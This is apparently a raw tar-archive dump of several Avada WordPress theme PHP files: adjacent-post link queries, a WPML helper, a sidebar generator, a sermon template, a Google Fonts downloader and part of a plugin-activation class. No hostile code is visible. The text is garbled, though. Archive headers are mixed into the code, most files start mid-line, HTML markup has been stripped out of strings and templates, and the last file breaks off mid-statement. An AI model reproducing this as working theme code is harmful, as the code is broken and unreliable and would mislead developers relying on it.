$post_id ); } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/plugins/post-link-plus.php000064400000042112152342437700014470 0ustar00$order_by; $order_by = 'p.' . $order_by; $meta_join = ''; // Queries involving custom fields require an extra table join. if ( in_array( $order_by, array( 'custom', 'numeric' ) ) ) { $current_post = get_post_meta( $post->ID, $meta_key, true ); $order_by = ( 'numeric' === $order_by ) ? 'm.meta_value+0' : 'm.meta_value'; $meta_join = $wpdb->prepare( " INNER JOIN $wpdb->postmeta AS m ON p.ID = m.post_id AND m.meta_key = %s", $meta_key ); } elseif ( $in_same_meta ) { $current_post = $post->$order_by; $order_by = 'p.' . $order_by; $meta_join = $wpdb->prepare( " INNER JOIN $wpdb->postmeta AS m ON p.ID = m.post_id AND m.meta_key = %s", $in_same_meta ); } // Get the current post value for the second sort column. $current_post2 = $post->$order_2nd; $order_2nd = 'p.' . $order_2nd; // Get the list of post types. Default to current post type. if ( empty( $post_type ) ) { $post_type = "'$post->post_type'"; } // Put this section in a do-while loop to enable the loop-to-first-post option. do { $join = $meta_join; $excluded_categories = $ex_cats; $included_categories = $in_cats; $excluded_posts = $ex_posts; $included_posts = $in_posts; $in_same_term_sql = $in_same_author_sql = $in_same_meta_sql = $ex_cats_sql = $in_cats_sql = $ex_posts_sql = $in_posts_sql = ''; // Get the list of hierarchical taxonomies, including customs (don't assume taxonomy = 'category'). $taxonomies = array_filter( get_post_taxonomies( $post->ID ), 'is_taxonomy_hierarchical' ); if ( ( $in_same_cat || $in_same_tax || $in_same_format || ! empty( $excluded_categories ) || ! empty( $included_categories ) ) && ! empty( $taxonomies ) ) { $cat_array = $tax_array = $format_array = array(); if ( $in_same_cat ) { $cat_array = wp_get_object_terms( $post->ID, $taxonomies, array( 'fields' => 'ids' ) ); } if ( $in_same_tax && ! $in_same_cat ) { if ( true === $in_same_tax ) { if ( array( 'category' ) != $taxonomies ) { $taxonomies = array_diff( $taxonomies, array( 'category' ) ); } } else { $taxonomies = (array) $in_same_tax; } $tax_array = wp_get_object_terms( $post->ID, $taxonomies, array( 'fields' => 'ids' ) ); } if ( $in_same_format ) { $taxonomies[] = 'post_format'; $format_array = wp_get_object_terms( $post->ID, 'post_format', array( 'fields' => 'ids' ) ); } $join .= " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id AND tt.taxonomy IN (\"" . implode( '", "', $taxonomies ) . '")'; $term_array = array_unique( array_merge( $cat_array, $tax_array, $format_array ) ); if ( ! empty( $term_array ) ) { $in_same_term_sql = 'AND tt.term_id IN (' . implode( ',', $term_array ) . ')'; } if ( ! empty( $excluded_categories ) ) { // Support for both (1 and 5 and 15) and (1, 5, 15) delimiter styles. $delimiter = ( strpos( $excluded_categories, ',' ) !== false ) ? ',' : 'and'; $excluded_categories = array_map( 'intval', explode( $delimiter, $excluded_categories ) ); // Three category exclusion methods are supported: 'strong', 'diff', and 'weak'. // Default is 'weak'. See the plugin documentation for more information. if ( 'strong' === $ex_cats_method ) { $taxonomies = array_filter( get_post_taxonomies( $post->ID ), 'is_taxonomy_hierarchical' ); if ( function_exists( 'get_post_format' ) ) { $taxonomies[] = 'post_format'; } $ex_cats_posts = get_objects_in_term( $excluded_categories, $taxonomies ); if ( ! empty( $ex_cats_posts ) ) { $ex_cats_sql = 'AND p.ID NOT IN (' . implode( $ex_cats_posts, ',' ) . ')'; } } else { if ( ! empty( $term_array ) && ! in_array( $ex_cats_method, array( 'diff', 'differential' ) ) ) { $excluded_categories = array_diff( $excluded_categories, $term_array ); } if ( ! empty( $excluded_categories ) ) { $ex_cats_sql = 'AND tt.term_id NOT IN (' . implode( $excluded_categories, ',' ) . ')'; } } } if ( ! empty( $included_categories ) ) { $in_same_term_sql = ''; // In_cats overrides in_same_cat. $delimiter = ( false !== strpos( $included_categories, ',' ) ) ? ',' : 'and'; $included_categories = array_map( 'intval', explode( $delimiter, $included_categories ) ); $in_cats_sql = 'AND tt.term_id IN (' . implode( ',', $included_categories ) . ')'; } } // Optionally restrict next/previous links to same author. if ( $in_same_author ) { $in_same_author_sql = $wpdb->prepare( 'AND p.post_author = %d', $post->post_author ); } // Optionally restrict next/previous links to same meta value. if ( $in_same_meta && 'custom' != $r['order_by'] && 'numeric' != $r['order_by'] ) { $in_same_meta_sql = $wpdb->prepare( 'AND m.meta_value = %s', get_post_meta( $post->ID, $in_same_meta, true ) ); } // Optionally exclude individual post IDs. if ( ! empty( $excluded_posts ) ) { $excluded_posts = array_map( 'intval', explode( ',', $excluded_posts ) ); $ex_posts_sql = ' AND p.ID NOT IN (' . implode( ',', $excluded_posts ) . ')'; } // Optionally include individual post IDs. if ( ! empty( $included_posts ) ) { $included_posts = array_map( 'intval', explode( ',', $included_posts ) ); $in_posts_sql = ' AND p.ID IN (' . implode( ',', $included_posts ) . ')'; } $adjacent = $previous ? 'previous' : 'next'; $order = $previous ? 'DESC' : 'ASC'; $op = $previous ? '<' : '>'; // Optionally get the first/last post. Disable looping and return only one result. if ( $end_post ) { $order = $previous ? 'ASC' : 'DESC'; $num_results = 1; $loop = false; // Display the end post link even when it is the current post. if ( 'fixed' === $end_post ) { $op = $previous ? '<=' : '>='; } } // If there is no next/previous post, loop back around to the first/last post. if ( $loop && isset( $result ) ) { $op = $previous ? '>=' : '<='; // Prevent an infinite loop if no first/last post is found. $loop = false; } $join = apply_filters( "get_{$adjacent}_post_plus_join", $join, $r ); // In case the value in the $order_by column is not unique, select posts based on the $order_2nd column as well. // This prevents posts from being skipped when they have, for example, the same menu_order. $where = apply_filters( "get_{$adjacent}_post_plus_where", $wpdb->prepare( "WHERE ( $order_by $op $order_format OR $order_2nd $op $order_format2 AND $order_by = $order_format ) AND p.post_type IN ($post_type) AND p.post_status = 'publish' $in_same_term_sql $in_same_author_sql $in_same_meta_sql $ex_cats_sql $in_cats_sql $ex_posts_sql $in_posts_sql", $current_post, $current_post2, $current_post ), $r ); $sort = apply_filters( "get_{$adjacent}_post_plus_sort", "ORDER BY $order_by $order, $order_2nd $order LIMIT $num_results", $r ); $query = "SELECT DISTINCT p.* FROM $wpdb->posts AS p $join $where $sort"; $query_key = 'adjacent_post_' . md5( $query ); $result = wp_cache_get( $query_key ); if ( false !== $result ) { return $result; } // Use get_results instead of get_row, in order to retrieve multiple adjacent posts (when $num_results > 1) // Add DISTINCT keyword to prevent posts in multiple categories from appearing more than once. $result = $wpdb->get_results( "SELECT DISTINCT p.* FROM $wpdb->posts AS p $join $where $sort" ); $result = ( null === $result ) ? '' : $result; } while ( ! $result && $loop ); wp_cache_set( $query_key, $result ); return $result; } /** * Display previous post link that is adjacent to the current post. * * Based on previous_post_link() from wp-includes/link-template.php * * @param array|string $args Optional. Override default arguments. * @return bool True if previous post link is found, otherwise false. */ function fusion_previous_post_link_plus( $args = '' ) { return fusion_adjacent_post_link_plus( $args, '« %link', true ); } /** * Display next post link that is adjacent to the current post. * * Based on next_post_link() from wp-includes/link-template.php * * @param array|string $args Optional. Override default arguments. * @return bool True if next post link is found, otherwise false. */ function fusion_next_post_link_plus( $args = '' ) { return fusion_adjacent_post_link_plus( $args, '%link »', false ); } /** * Display adjacent post link. * * Can be either next post link or previous. * * Based on adjacent_post_link() from wp-includes/link-template.php * * @param array|string $args Optional. Override default arguments. * @param string $format The format to use. * @param bool $previous Optional, default is true. Whether display link to previous post. * @return bool True if next/previous post is found, otherwise false. */ function fusion_adjacent_post_link_plus( $args = '', $format = '%link »', $previous = true ) { $defaults = array( 'order_by' => 'post_date', 'order_2nd' => 'post_date', 'meta_key' => '', 'post_type' => '', 'loop' => false, 'end_post' => false, 'thumb' => false, 'max_length' => 0, 'format' => '', 'link' => '%title', 'date_format' => '', 'tooltip' => '%title', 'in_same_cat' => false, 'in_same_tax' => false, 'in_same_format' => false, 'in_same_author' => false, 'in_same_meta' => false, 'ex_cats' => '', 'ex_cats_method' => 'weak', 'in_cats' => '', 'ex_posts' => '', 'in_posts' => '', 'before' => '', 'after' => '', 'num_results' => 1, 'return' => false, 'echo' => true, ); // If Post Types Order plugin is installed, // default to sorting on menu_order. if ( function_exists( 'initCPTO' ) ) { $defaults['order_by'] = 'menu_order'; $previous = ( $previous ) ? false : true; } $r = wp_parse_args( $args, $defaults ); if ( empty( $r['format'] ) ) { $r['format'] = $format; } if ( empty( $r['date_format'] ) ) { $r['date_format'] = get_option( 'date_format' ); } if ( ! function_exists( 'get_post_format' ) ) { $r['in_same_format'] = false; } $posts = fusion_get_adjacent_post_plus( $r, $previous ); if ( $previous && is_attachment() ) { $posts = array(); $posts[] = & get_post( $GLOBALS['post']->post_parent ); } // If there is no next/previous post, // return false so themes may conditionally display inactive link text. if ( empty( $posts ) ) { return false; } // If sorting by date, display posts in reverse chronological order. // Otherwise display in alpha/numeric order. if ( ( $previous && 'post_date' != $r['order_by'] ) || ( ! $previous && 'post_date' == $r['order_by'] ) ) { $posts = array_reverse( $posts, true ); } // Option to return something other than the formatted link. if ( $r['return'] ) { if ( 1 == $r['num_results'] ) { reset( $posts ); $post = current( $posts ); switch ( $r['return'] ) { case 'id': return $post->ID; case 'href': return get_permalink( $post ); case 'object': return $post; case 'title': return $post->post_title; case 'date': return mysql2date( $r['date_format'], $post->post_date ); } } elseif ( 'object' == $r['return'] ) { return $posts; } } $output = $r['before']; // When num_results > 1, multiple adjacent posts may be returned. // Use foreach to display each adjacent post. foreach ( $posts as $post ) { $title = $post->post_title; if ( empty( $post->post_title ) ) { $title = $previous ? esc_attr__( 'Previous Post', 'Avada' ) : esc_attr__( 'Next Post', 'Avada' ); } $title = apply_filters( 'the_title', $title, $post->ID ); $date = mysql2date( $r['date_format'], $post->post_date ); $author = get_the_author_meta( 'display_name', $post->post_author ); // Set anchor title attribute to long post title or custom tooltip text. // Supports variable replacement in custom tooltip. $tooltip = ''; if ( $r['tooltip'] ) { $tooltip = str_replace( '%title', $title, $r['tooltip'] ); $tooltip = str_replace( '%date', $date, $tooltip ); $tooltip = str_replace( '%author', $author, $tooltip ); $tooltip = ' title="' . esc_attr( $tooltip ) . '"'; } // Truncate the link title to nearest whole word under the length specified. $max_length = ( 1 > intval( $r['max_length'] ) ) ? 9999 : intval( $r['max_length'] ); if ( $max_length < strlen( $title ) ) { $title = substr( $title, 0, strrpos( substr( $title, 0, $max_length ), ' ' ) ); // Mod for LTR languages. $title = sprintf( '%s...', $title ); } $rel = ( $previous ) ? 'prev' : 'next'; $anchor = ''; $link = str_replace( '%title', $title, $r['link'] ); $link = str_replace( '%date', $date, $link ); $link = $anchor . $link . ''; $format = str_replace( '%link', $link, $r['format'] ); $format = str_replace( '%title', $title, $format ); $format = str_replace( '%date', $date, $format ); $format = str_replace( '%author', $author, $format ); if ( ( 'custom' == $r['order_by'] || 'numeric' == $r['order_by'] ) && ! empty( $r['meta_key'] ) ) { $meta = get_post_meta( $post->ID, $r['meta_key'], true ); $format = str_replace( '%meta', $meta, $format ); } elseif ( $r['in_same_meta'] ) { $meta = get_post_meta( $post->ID, $r['in_same_meta'], true ); $format = str_replace( '%meta', $meta, $format ); } // Get the category list, including custom taxonomies // (only if the %category variable has been used). if ( ( false !== strpos( $format, '%category' ) ) ) { $term_list = ''; $taxonomies = array_filter( get_post_taxonomies( $post->ID ), 'is_taxonomy_hierarchical' ); if ( $r['in_same_format'] && get_post_format( $post->ID ) ) { $taxonomies[] = 'post_format'; } foreach ( $taxonomies as &$taxonomy ) { // No, this is not a mistake. Yes, we are testing the result of the assignment ( = ). // We are doing it this way to stop it from appending a comma when there is no next term. if ( $next_term = get_the_term_list( $post->ID, $taxonomy, '', ', ', '' ) ) { $term_list .= $next_term; if ( current( $taxonomies ) ) { $term_list .= ', '; } } } $format = str_replace( '%category', $term_list, $format ); } // Optionally add the post thumbnail to the link. // Wrap the link in a span to aid CSS styling. if ( $r['thumb'] && has_post_thumbnail( $post->ID ) ) { if ( true === $r['thumb'] ) { // Use 'post-thumbnail' as the default size. $r['thumb'] = 'post-thumbnail'; } $thumbnail = '' . get_the_post_thumbnail( $post->ID, $r['thumb'] ) . ''; $format = $thumbnail . '' . $format . ''; } // If more than one link is returned, wrap them in
  • tags. if ( 1 < intval( $r['num_results'] ) ) { $format = '
  • ' . $format . '
  • '; } $output .= $format; } $output .= $r['after']; // If echo is false, don't display anything. Return the link as a PHP string. if ( ! $r['echo'] || 'output' === $r['return'] ) { return $output; } $adjacent = $previous ? 'previous' : 'next'; echo apply_filters( "{$adjacent}_post_link_plus", $output, $r ); return true; } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/plugins/wpml.php000064400000002303152342437700012544 0ustar00prefix}icl_translations as t on t.element_id = p.ID"; return $join; } /** * Avada WPML helper function. * * @param string $where The query to run. * @return string */ function avada_get_next_post_plus_where( $where ) { global $sitepress; $where .= "AND t.language_code = '" . $sitepress->get_current_language() . "'"; return $where; } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/plugins/multiple_sidebars.php000064400000030372152342437700015303 0ustar00. */ // Do not allow directly accessing this file. if ( ! defined( 'ABSPATH' ) ) { exit( 'Direct script access denied.' ); } /** * The Sidebar Generator. */ class Sidebar_Generator { /** * The class constructor. * * @access public */ public function __construct() { add_action( 'init', [ $this, 'init' ] ); add_action( 'widgets_admin_page', [ $this, 'admin_page' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_scripts' ] ); add_action( 'admin_print_scripts', [ $this, 'admin_print_scripts' ] ); } /** * Initializes the sidebar registration. * * @access public */ public function init() { if ( current_user_can( 'manage_options' ) ) { add_action( 'wp_ajax_add_sidebar', [ $this, 'add_sidebar' ] ); add_action( 'wp_ajax_remove_sidebar', [ $this, 'remove_sidebar' ] ); } // Go through each sidebar and register it. $sidebars = self::get_sidebars(); if ( is_array( $sidebars ) ) { foreach ( $sidebars as $sidebar ) { $sidebar_class = self::name_to_class( $sidebar ); register_sidebar( [ 'name' => $sidebar, 'id' => 'avada-custom-sidebar-' . strtolower( $sidebar_class ), 'before_widget' => '
    ', 'after_widget' => '
    ', 'before_title' => '

    ', 'after_title' => '

    ', ] ); } } } /** * Enqueues the necessary scripts. * * @access public */ public function admin_enqueue_scripts() { wp_enqueue_script( [ 'sack' ] ); } /** * Prints some additional scripts. * * @access public */ public function admin_print_scripts() { $ajax_add_sidebar_nonce = wp_create_nonce( 'add-sidebar' ); $ajax_remove_sidebar_nonce = wp_create_nonce( 'remove-sidebar' ); ?>

    $sidebar_name ) : ?>

    ', '?', '[', ']', '{', '}', '|', ':' ], '', $name ); return strtolower( sanitize_html_class( $class ) ); } } $sbg = new Sidebar_Generator(); /** * Gets a generated sidebar. * * @param string $name The sidebar name. * @return true */ function generated_dynamic_sidebar( $name = '0' ) { Sidebar_Generator::get_sidebar( $name ); return true; } /** * Gets a generated sidebar. * * @param string $name The sidebar name. * @return true */ function generated_dynamic_sidebar_2( $name = '0' ) { Sidebar_Generator::get_sidebar_2( $name ); return true; } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/class-avada-sermon-manager.php000064400000006336152342437700015206 0ustar00', ' ' ); $date = ob_get_clean(); // Print the date. ob_start(); ?>

    ID, 'wpfc_service_type', ' (', ' ', ')' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>

    ' . esc_attr__( 'Bible Text: ', 'Avada' ), ' | ' ); ?> ID, 'wpfc_preacher', '', ', ', '' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> ID, 'wpfc_sermon_series', '

    ' . esc_attr__( 'Series: ', 'Avada' ), ' ', '

    ' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>

    ID, 'wpfc_sermon_topics', '

    ' . esc_attr__( 'Topics: ', 'sermon-manager' ), ',', '', '

    ' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> get_option( 'excerpt_length_blog' ); ?> blog->get_content_stripped_and_excerpted( $excerpt_length, $description ); ?> family = $family; $this->styles = $styles; $this->folder_path = Fusion_Downloader::get_root_path( 'fusion-gfonts' ) . '/' . sanitize_key( $this->family ); $this->folder_url = Fusion_Downloader::get_root_url( 'fusion-gfonts' ) . '/' . sanitize_key( $this->family ); $this->font = $this->get_font_family(); } /** * Gets the @font-face CSS. * * @access public * @since 5.5.2 * @param array $variants The variants we want to get. * @return string */ public function get_fontface_css( $variants = [] ) { if ( ! empty( $this->styles ) ) { $css = $this->styles; $folder_name = 'fusion-gfonts'; preg_match_all( '/https\:.*?\.woff2/', $css, $matches ); $matches = array_shift( $matches ); foreach ( $matches as $match ) { if ( 0 === strpos( $match, 'https://fonts.gstatic.com' ) ) { $file = new Fusion_Downloader( $match, $folder_name ); $file->download_file(); $new_url = $file->get_new_url(); if ( $new_url ) { $css = str_replace( $match, $new_url, $css ); } } } return $css; } if ( ! $this->font ) { return; } $font_face = ''; // If $variants is empty then use all variants available. if ( empty( $variants ) ) { $variants = $this->font['variants']; } // Download files. $this->download_font_family( $variants ); // Create the @font-face CSS. foreach ( $variants as $variant ) { $font_face .= $this->get_variant_fontface_css( $variant ); } return $font_face; } /** * Get the @font-face CSS for a specific variant in this font-family. * * @access public * @since 5.5.2 * @param string $variant The variant. * @return string */ public function get_variant_fontface_css( $variant ) { $font_face = "@font-face{font-family:'{$this->family}';"; // Get the font-style. $font_style = ( false !== strpos( $variant, 'italic' ) ) ? 'italic' : 'normal'; $font_face .= "font-style:{$font_style};"; // Set font display. $font_face_display = Avada()->settings->get( 'font_face_display' ); $font_face_display = ( 'block' === $font_face_display ) ? 'block' : 'swap'; $font_face .= 'font-display: ' . $font_face_display . ';'; // Get the font-weight. $font_weight = '400'; $font_weight = str_replace( 'italic', '', $variant ); $font_weight = ( ! $font_weight || 'regular' === $font_weight ) ? '400' : $font_weight; $font_face .= "font-weight:{$font_weight};"; // Get the font-names. $font_name_0 = $this->get_local_font_name( $variant, false ); $font_name_1 = $this->get_local_font_name( $variant, true ); $font_face .= "src:local('{$font_name_0}'),"; if ( $font_name_0 !== $font_name_1 ) { $font_face .= "local('{$font_name_1}'),"; } // Get the font-url. $font_url = $this->get_variant_local_url( $variant ); // Get the font-format. $font_format = ( strpos( $font_url, '.woff2' ) ) ? 'woff2' : 'truetype'; $font_format = ( strpos( $font_url, '.woff' ) && ! strpos( $font_url, '.woff2' ) ) ? 'woff' : $font_format; $font_face .= "url({$font_url}) format('{$font_format}');}"; return $font_face; } /** * Gets the local URL for a variant. * * @access public * @since 5.5.2 * @param string $variant The variant. * @return string The URL. */ public function get_variant_local_url( $variant ) { $local_urls = $this->get_font_files_urls_local(); if ( empty( $local_urls ) ) { return; } // Return the specific variant if we can find it. if ( isset( $local_urls[ $variant ] ) ) { return $local_urls[ $variant ]; } // Return regular if the one we want could not be found. if ( isset( $local_urls['regular'] ) ) { return $local_urls['regular']; } // Return the first available if all else failed. $vals = array_values( $local_urls ); return $vals[0]; } /** * Get the name of the font-family. * This is used by @font-face in case the user already has the font downloaded locally. * * @access public * @since 5.5.2 * @param string $variant The variant. * @param bool $compact Whether we want the compact formatting or not. * @return string */ public function get_local_font_name( $variant, $compact = false ) { $variant_names = [ '100' => 'Thin', '100i' => 'Thin Italic', '100italic' => 'Thin Italic', '200' => 'Extra-Light', '200i' => 'Extra-Light Italic', '200italic' => 'Extra-Light Italic', '300' => 'Light', '300i' => 'Light Italic', '300italic' => 'Light Italic', '400' => 'Regular', 'regular' => 'Regular', '400i' => 'Regular Italic', 'italic' => 'Italic', '400italic' => 'Regular Italic', '500' => 'Medium', '500i' => 'Medium Italic', '500italic' => 'Medium Italic', '600' => 'Semi-Bold', '600i' => 'Semi-Bold Italic', '600italic' => 'Semi-Bold Italic', '700' => 'Bold', '700i' => 'Bold Italic', '700italic' => 'Bold Italic', '800' => 'Extra-Bold', '800i' => 'Extra-Bold Italic', '800italic' => 'Extra-Bold Italic', '900' => 'Black', '900i' => 'Black Italic', '900italic' => 'Black Italic', ]; $variant = (string) $variant; if ( $compact ) { if ( isset( $variant_names[ $variant ] ) ) { return str_replace( [ ' ', '-' ], '', $this->family ) . '-' . str_replace( [ ' ', '-' ], '', $variant_names[ $variant ] ); } return str_replace( [ ' ', '-' ], '', $this->family ); } if ( isset( $variant_names[ $variant ] ) ) { return $this->family . ' ' . $variant_names[ $variant ]; } return $this->family; } /** * Get an array of font-files. * Only contains the filenames. * * @access public * @since 5.5.2 * @return array */ public function get_font_files() { $files = []; $remote_urls = $this->get_font_files_urls_remote(); foreach ( $remote_urls as $key => $url ) { $files[ $key ] = Fusion_Downloader::get_filename_from_url( $url ); } return $files; } /** * Get the remote URLs for the font-files. * * @access public * @since 5.5.2 * @return array */ public function get_font_files_urls_remote() { if ( isset( $this->font['files'] ) ) { return $this->font['files']; } return []; } /** * Get an array of local file URLs. * * @access public * @since 5.5.2 * @return array */ public function get_font_files_urls_local() { $urls = []; $files = $this->get_font_files(); foreach ( $files as $key => $file ) { $urls[ $key ] = $this->folder_url . '/' . $file; } return $urls; } /** * Get an array of local file paths. * * @access public * @since 5.5.2 * @return array */ public function get_font_files_paths() { $paths = []; $files = $this->get_font_files(); foreach ( $files as $key => $file ) { $paths[ $key ] = $this->folder_path . '/' . $file; } return $paths; } /** * Get a font-family from the array of google-fonts. * * @access public * @since 5.5.2 * @return array|null */ public function get_font_family() { // Get the fonts array. $fonts = $this->get_fonts(); // Make sure we've got fonts. if ( isset( $fonts['items'] ) ) { $fonts = $fonts['items']; // Loop array of fonts. foreach ( $fonts as $font ) { // When we find the font, return it. if ( isset( $font['family'] ) && $this->family === $font['family'] ) { return $font; } } } return null; } /** * Get the font defined in the google-fonts API. * * @access private * @since 5.5.2 * @return array */ private function get_fonts() { return include FUSION_LIBRARY_PATH . '/inc/googlefonts-array.php'; } /** * Download font-family files. * * @access public * @since 5.5.2 * @param array $variants An array of variants to download. Leave empty to download all. * @return void */ public function download_font_family( $variants = [] ) { if ( isset( $this->font['files'] ) ) { if ( empty( $variants ) ) { $variants = $this->font['variants']; } foreach ( $this->font['files'] as $variant => $file ) { if ( in_array( $variant, $variants ) ) { // phpcs:ignore WordPress.PHP.StrictInArray $file = new Fusion_Downloader( $file, 'fusion-gfonts/' . sanitize_key( $this->family ) ); $file->download_file(); } } } } } Avada/includes/class-avada-tgm-plugin-activation.php000064400000367373152342437700016530 0ustar00wp_version = $GLOBALS['wp_version']; // Announce that the class is ready, and pass the object (for advanced use). do_action_ref_array( 'tgmpa_init', array( $this ) ); // When the rest of WP has loaded, kick-start the rest of the class. add_action( 'init', array( $this, 'init' ) ); } /** * Magic method to (not) set protected properties from outside of this class. * * {@internal hackedihack... There is a serious bug in v2.3.2 - 2.3.6 where the `menu` property * is being assigned rather than tested in a conditional, effectively rendering it useless. * This 'hack' prevents this from happening.}} * * @see https://github.com/TGMPA/TGM-Plugin-Activation/blob/2.3.6/tgm-plugin-activation/class-tgm-plugin-activation.php#L1593 * * @since 2.5.2 * * @param string $name Name of an inaccessible property. * @param mixed $value Value to assign to the property. * @return void Silently fail to set the property when this is tried from outside of this class context. * (Inside this class context, the __set() method if not used as there is direct access.) */ public function __set( $name, $value ) { return; } /** * Magic method to get the value of a protected property outside of this class context. * * @since 2.5.2 * * @param string $name Name of an inaccessible property. * @return mixed The property value. */ public function __get( $name ) { return $this->{$name}; } /** * Initialise the interactions between this class and WordPress. * * Hooks in three new methods for the class: admin_menu, notices and styles. * * @since 2.0.0 * * @see Avada_TGM_Plugin_Activation::admin_menu() * @see Avada_TGM_Plugin_Activation::notices() * @see Avada_TGM_Plugin_Activation::styles() */ public function init() { /** * By default TGMPA only loads on the WP back-end and not in an Ajax call. Using this filter * you can overrule that behaviour. * * @since 2.5.0 * * @param bool $load Whether or not TGMPA should load. * Defaults to the return of `is_admin() && ! defined( 'DOING_AJAX' )`. */ if ( true !== apply_filters( 'tgmpa_load', ( is_admin() && ! defined( 'DOING_AJAX' ) ) ) ) { return; } if ( ! current_user_can( 'install_plugins' ) && ! current_user_can( 'update_plugins' ) && ! current_user_can( 'activate_plugins' ) ) { return; } // Load class strings. $this->strings = array( 'page_title' => __( 'Install Required Plugins', 'Avada' ), 'menu_title' => __( 'Install Plugins', 'Avada' ), /* translators: %s: plugin name. */ 'installing' => __( 'Installing Plugin: %s', 'Avada' ), /* translators: %s: plugin name. */ 'updating' => __( 'Updating Plugin: %s', 'Avada' ), 'oops' => __( 'Something went wrong with the plugin API.', 'Avada' ), 'notice_can_install_required' => _n_noop( /* translators: 1: plugin name(s). */ 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'Avada' ), 'notice_can_install_recommended' => _n_noop( /* translators: 1: plugin name(s). */ 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'Avada' ), 'notice_ask_to_update' => _n_noop( /* translators: 1: plugin name(s). */ 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'Avada' ), 'notice_ask_to_update_maybe' => _n_noop( /* translators: 1: plugin name(s). */ 'There is an update available for: %1$s.', 'There are updates available for the following plugins: %1$s.', 'Avada' ), 'notice_can_activate_required' => _n_noop( /* translators: 1: plugin name(s). */ 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'Avada' ), 'notice_can_activate_recommended' => _n_noop( /* translators: 1: plugin name(s). */ 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'Avada' ), 'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'Avada' ), 'update_link' => _n_noop( 'Begin updating plugin', 'Begin updating plugins', 'Avada' ), 'activate_link' => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'Avada' ), 'return' => __( 'Return to Required Plugins Installer', 'Avada' ), 'dashboard' => __( 'Return to the Dashboard', 'Avada' ), 'plugin_activated' => __( 'Plugin activated successfully.', 'Avada' ), 'activated_successfully' => __( 'The following plugin was activated successfully:', 'Avada' ), /* translators: 1: plugin name. */ 'plugin_already_active' => __( 'No action taken. Plugin %1$s was already active.', 'Avada' ), /* translators: 1: plugin name. */ 'plugin_needs_higher_version' => __( '%s installation failed. The update procedure could not delete the plugin due to a permissions issue on your server. Please ask your hosting provider to check the permissions level or manually remove the plugin via FTP or WordPress before attempting to reinstall it.', 'Avada' ), /* translators: 1: dashboard link. */ 'complete' => __( 'All plugins installed and activated successfully. %1$s', 'Avada' ), 'dismiss' => __( 'Dismiss this notice', 'Avada' ), 'notice_cannot_install_activate' => __( 'There are one or more required or recommended plugins to install, update or activate.', 'Avada' ), 'contact_admin' => __( 'Please contact the administrator of this site for help.', 'Avada' ), ); do_action( 'tgmpa_register' ); /* After this point, the plugins should be registered and the configuration set. */ // Proceed only if we have plugins to handle. if ( empty( $this->plugins ) || ! is_array( $this->plugins ) ) { return; } // Set up the menu and notices if we still have outstanding actions. if ( true !== $this->is_tgmpa_complete() ) { // Sort the plugins. // ThemeFusion edit for Avada theme: no lexicographical ordering of plugin names //array_multisort( $this->sort_order, SORT_ASC, $this->plugins ); // ThemeFusion edit for Avada theme: redirect to Avada plugin page after plugin deactivation add_action( 'admin_menu', array( $this, 'deacivate_update_plugin' ), 5 ); // ThemeFusion edit for Avada theme: do not register admin menu, as its being registered from within theme. // add_action( 'admin_menu', array( $this, 'admin_menu' ) ); // ThemeFusion edit for Avada theme: delete the dismiss button to make sure FusionCore plugin is updated //add_action( 'admin_head', array( $this, 'dismiss' ) ); // Prevent the normal links from showing underneath a single install/update page. add_filter( 'install_plugin_complete_actions', array( $this, 'actions' ) ); add_filter( 'update_plugin_complete_actions', array( $this, 'actions' ) ); if ( $this->has_notices ) { add_action( 'admin_notices', array( $this, 'notices' ) ); add_action( 'admin_init', array( $this, 'admin_init' ), 1 ); add_action( 'admin_enqueue_scripts', array( $this, 'thickbox' ) ); } } // If needed, filter plugin action links. add_action( 'load-plugins.php', array( $this, 'add_plugin_action_link_filters' ), 1 ); // Make sure things get reset on switch theme. add_action( 'switch_theme', array( $this, 'flush_plugins_cache' ) ); if ( $this->has_notices ) { add_action( 'switch_theme', array( $this, 'update_dismiss' ) ); } // Setup the force activation hook. if ( true === $this->has_forced_activation ) { add_action( 'admin_init', array( $this, 'force_activation' ) ); } // Setup the force deactivation hook. if ( true === $this->has_forced_deactivation ) { add_action( 'switch_theme', array( $this, 'force_deactivation' ) ); } } // ThemeFusion edit for Avada theme: redirect to Avada plugin page after plugin deactivation public function deacivate_update_plugin() { if ( empty( $_GET['plugin'] ) ) { return false; } // All plugin information will be stored in an array for processing. $slug = $this->sanitize_key( urldecode( $_GET['plugin'] ) ); if ( ! isset( $this->plugins[ $slug ] ) || ! $this->does_plugin_have_update( $slug ) ) { return false; } // Only proceed forward if the parameter is set to true and plugin is active. if ( isset( $_GET['tgmpa-update'], $_GET['page'], $_GET['plugin'], $_GET['tgmpa-nonce'] ) && 'update-plugin' === $_GET['tgmpa-update'] && $this->is_plugin_active( $slug ) ) { deactivate_plugins( $this->plugins[ $slug ]['file_path'], true ); if ( ! isset( $_GET['plugin_source'] ) ) { $query = sprintf( '?page=%s&plugin=%s&tgmpa-update=%s&tgmpa-nonce=%s', $_GET['page'], $_GET['plugin'], $_GET['tgmpa-update'], $_GET['tgmpa-nonce'] ); } else { $query = sprintf( '?page=%s&plugin=%s&tgmpa-update=%sversion=%s&return_url=%s&tgmpa-nonce=%s', $_GET['page'], $_GET['plugin'], $_GET['tgmpa-update'], $_GET['version'], $_GET['return_url'], $_GET['tgmpa-nonce'] ); } wp_safe_redirect( admin_url( 'admin.php' . 